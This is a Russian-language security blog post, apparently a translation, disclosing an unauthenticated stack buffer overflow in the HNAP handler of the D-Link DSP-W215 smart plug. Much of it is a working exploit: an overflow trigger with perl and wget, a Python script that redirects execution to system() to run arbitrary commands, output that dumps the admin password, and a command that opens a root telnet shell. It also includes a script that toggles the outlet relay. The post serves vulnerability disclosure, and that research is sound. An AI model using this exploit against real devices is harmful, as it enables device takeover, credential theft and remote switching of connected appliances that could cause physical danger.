Взламываем D-Link DSP-W215 Smart Plug

в 10:24, , рубрики: Без рубрики

image
D-Link DSP-W215 Smart Plug — беспроводное устройство для мониторинга и контроля за электрическими розетками. Его пока нельзя купить в магазинах Amazon или Best Buy, но прошивка уже доступна для скачивания на сайте D-Link.

TL;DR: DSP-W215 содержит ошибку переполнения буфера, которая позволяет неаутентифицированному пользователю полностью управлять устройством, в том числе и самой розеткой.

Прошивка устройства совершенно стандартная для встраиваемых систем на Linux:
image

После распаковки прошивки я обнаружил, что у этого устройства нет привычного веб-интерфейса — его можно настроить только через специальное приложение для iOS и Android. И, похоже, это приложение использует протокол Home Network Administration Protocol для коммуникации со Smart Plug.

Т.к. HNAP основан на протоколе SOAP, его обработкой занимается сервер lighttpd, а по отрывку его конфигурационного файла легко понять, что обработкой HNAP-запросов занимается CGI-приложение /www/my_cgi.cgi:

...
 
alias.url += ( "/HNAP1/" => "/www/my_cgi.cgi",
               "/HNAP1"  => "/www/my_cgi.cgi",
...

Хоть HNAP и требует аутентификацию, некоторые действия, а именно GetDeviceSettings, ее не требуют.
image

GetDeviceSettings может только отдавать список возможных действий и ничего не может делать сам по себе, но это значит, что my_cgi.cgi парсит запрос до проверки аутентификации.

Обрабатыванием HNAP-запросов занимается функция do_hnap в my_cgi.cgi. Т.к. HNAP-действия посылаются как HTTP POST-запросы, функция do_hnap первым делом обрабатывает заголовок Content-Length:
image

А потом, как ни в чем не бывало, читает тело запроса в буфер фиксированного размера на стеке:
image

int content_length, i;
char *content_length_str;
char post_data_buf[500000];
 
content_length = 0;
content_length_str = getenv("CONTENT_LENGTH");
 
if(content_length_str)
{
   content_length = strtol(content_length_str, 10);
}
 
memset(post_data_buf, 0, 500000);
 
for(i=0; i<content_length; i++)
{
   post_data_buf[i] = fgetc();
}

Становится очевидно, если посмотреть на memset, что буфер рассчитан только на 500000 байтов. POST-запрос, в котором содержится более 500000 байтов, переполнит буфер, но т.к. на стеке есть еще и другие переменные, требуется 1000020 байтов, чтобы перезаписать адрес возврата:

# Overflow $ra with 0x41414141
perl -e 'print "D"x1000020; print "A"x4' > overflow.txt
wget --post-file=overflow.txt http://192.168.0.60/HNAP1/

image

А вот самое веселое то, что обработчик запроса читает тело POST-запроса в буфер в цикле с использованием fgetc, поэтому не существует «плохих» байтов — мы можем передавать ему любые байты, даже NULL-байт. Это здорово, т.к. по адресу 0x00405CAC в my_cgi.cgi имеется код, который загружает $a0 (регистр первого аргумента функции) с указателем на стек ($sp+0×28) и вызывает system():
image

Так что нам просто нужно перезаписать адрес возврата на 0x00405CAC и положить команду, которую нам нужно выполнить, на стек по смещению 0×28:

import sys
import urllib2
 
command = sys.argv[1]
 
buf =  "D" * 1000020         # Fill up the stack buffer
buf += "x00x40x5CxAC"    # Overwrite the return address on the stack
buf += "E" * 0x28            # Stack filler
buf += command               # Command to execute
buf += "x00"                # NULL terminate the command string
 
req = urllib2.Request("http://192.168.0.60/HNAP1/", buf)
print urllib2.urlopen(req).read()

Даже лучше, чем можно было бы ожидать — stdout запускаемой команды возвращается в ответ:

eve@eve:~$ ./exploit.py 'ls -l /'
drwxr-xr-x    2 1000     1000         4096 Jan 14 14:16 bin
drwxrwxr-x    3 1000     1000         4096 May  9 16:04 dev
drwxrwxr-x    3 1000     1000         4096 Sep  3  2010 etc
drwxrwxr-x    3 1000     1000         4096 Jan 14 14:16 lib
drwxr-xr-x    3 1000     1000         4096 Jan 14 14:16 libexec
lrwxrwxrwx    1 1000     1000           11 May  9 16:01 linuxrc -> bin/busybox
drwxrwxr-x    2 1000     1000         4096 Nov 11  2008 lost+found
drwxrwxr-x    7 1000     1000         4096 May  9 15:44 mnt
drwxr-xr-x    2 1000     1000         4096 Jan 14 14:16 mydlink
drwxrwxr-x    2 1000     1000         4096 Nov 11  2008 proc
drwxrwxr-x    2 1000     1000         4096 May  9 17:49 root
drwxr-xr-x    2 1000     1000         4096 Jan 14 14:16 sbin
drwxrwxr-x    3 1000     1000         4096 May 15 04:27 tmp
drwxrwxr-x    7 1000     1000         4096 Jan 14 14:16 usr
drwxrwxr-x    3 1000     1000         4096 May  9 16:04 var
-rw-r--r--    1 1000     1000           17 Jan 14 14:16 version
drwxrwxr-x    8 1000     1000         4096 May  9 16:52 www

Можно сдампить конфигурацию и пароль администратора:

eve@eve:~$ ./exploit.py 'nvram show' | grep admin
admin_user_pwd=200416
admin_user_tbl=0/admin_user_name/admin_user_pwd/admin_level
admin_level=1
admin_user_name=admin
storage_user_00=0/admin//

Или запустить telnetd и получить полноценный shell.

eve@eve:~$ ./exploit.py 'busybox telnetd -l /bin/sh'
eve@eve:~$ telnet 192.168.0.60
Trying 192.168.0.60...
Connected to 192.168.0.60.
Escape character is '^]'.
 
 
BusyBox v1.01 (2014.01.14-12:12+0000) Built-in shell (ash)
Enter 'help' for a list of built-in commands.
 
/ #

После копания в my_cgi.cgi чуть глубже, я обнаружил, что все, что требуется для выключения или включения розетки — выполнить /var/sbin/relay:

/var/sbin/relay 1   # Turns outlet on
/var/sbin/relay 0   # Turns outlet off 

Можно написать небольшой скрипт, чтобы поморгать светом:

#!/bin/sh
 
OOK=1
 
while [ 1 ]
do
   /var/bin/relay $OOK
 
   if [ $OOK -eq 1 ]
   then
      OOK=0
   else
      OOK=1
   fi
done

Управление розеткой может нести и более серьезные последствия, как заявлено в рекламе D-Link:
image
Обманчивая реклама от D-Link

Хоть сам Smart Plug, может быть, сможет определить перегрев, я подозреваю, что он определяет перегрев только себя самого, т.к. не существует способа определить температуру устройства, подключенного к розетке. Поэтому, если вы оставили обогреватель подключенным к smart plug, и какой-то подлый человек тайком включит его, у вас будет хреновый день.

Непонятно, пытается ли Smart Plug сделать себя доступным извне (например, пробросив порт через UPnP), или нет, т.к. приложение для Android просто-напросто не работает. У меня не получилось установить даже первоначальное подключение к Smart Plug через Android, хотя через лаптоп получилось. Однако, в конце-концов, у меня вылезла очень подробная ошибка при создании аккаунта для удаленного доступа в MyDlink: «Невозможно создать аккаунт». Хоть в конце настройки и говорилось, что Smart Plug настроен на подключение к моей беспроводной сети, ни к какой сети он не подключился, и точка доступа, которая использовалась для первоначальной конфигурации, пропала. Т.к. Wi-Fi сломан, а ethernet отсутствует, я полностью потерял связь с устройством. Ах да, кнопки hard reset на устройстве тоже нет. Ну и ладно, все равно я ее выкидывать собирался.

Я подозреваю, что все, кто купил это устройство, не смогли заставить его работать, что, наверное, хорошо само по себе. В любом случае, я бы побоялся подключать такое устройство к своей сети или своим бытовым приборам.

Между прочим, роутер D-Link DIR-505L тоже подвержен этому багу, т.к. имеет практически точную копию my_cgi.cgi.

PoC для обоих устройств находится здесь.

Автор: ValdikSS

Источник

* - обязательные к заполнению поля


https://ajax.googleapis.com/ajax/libs/jquery/3.4.1/jquery.min.js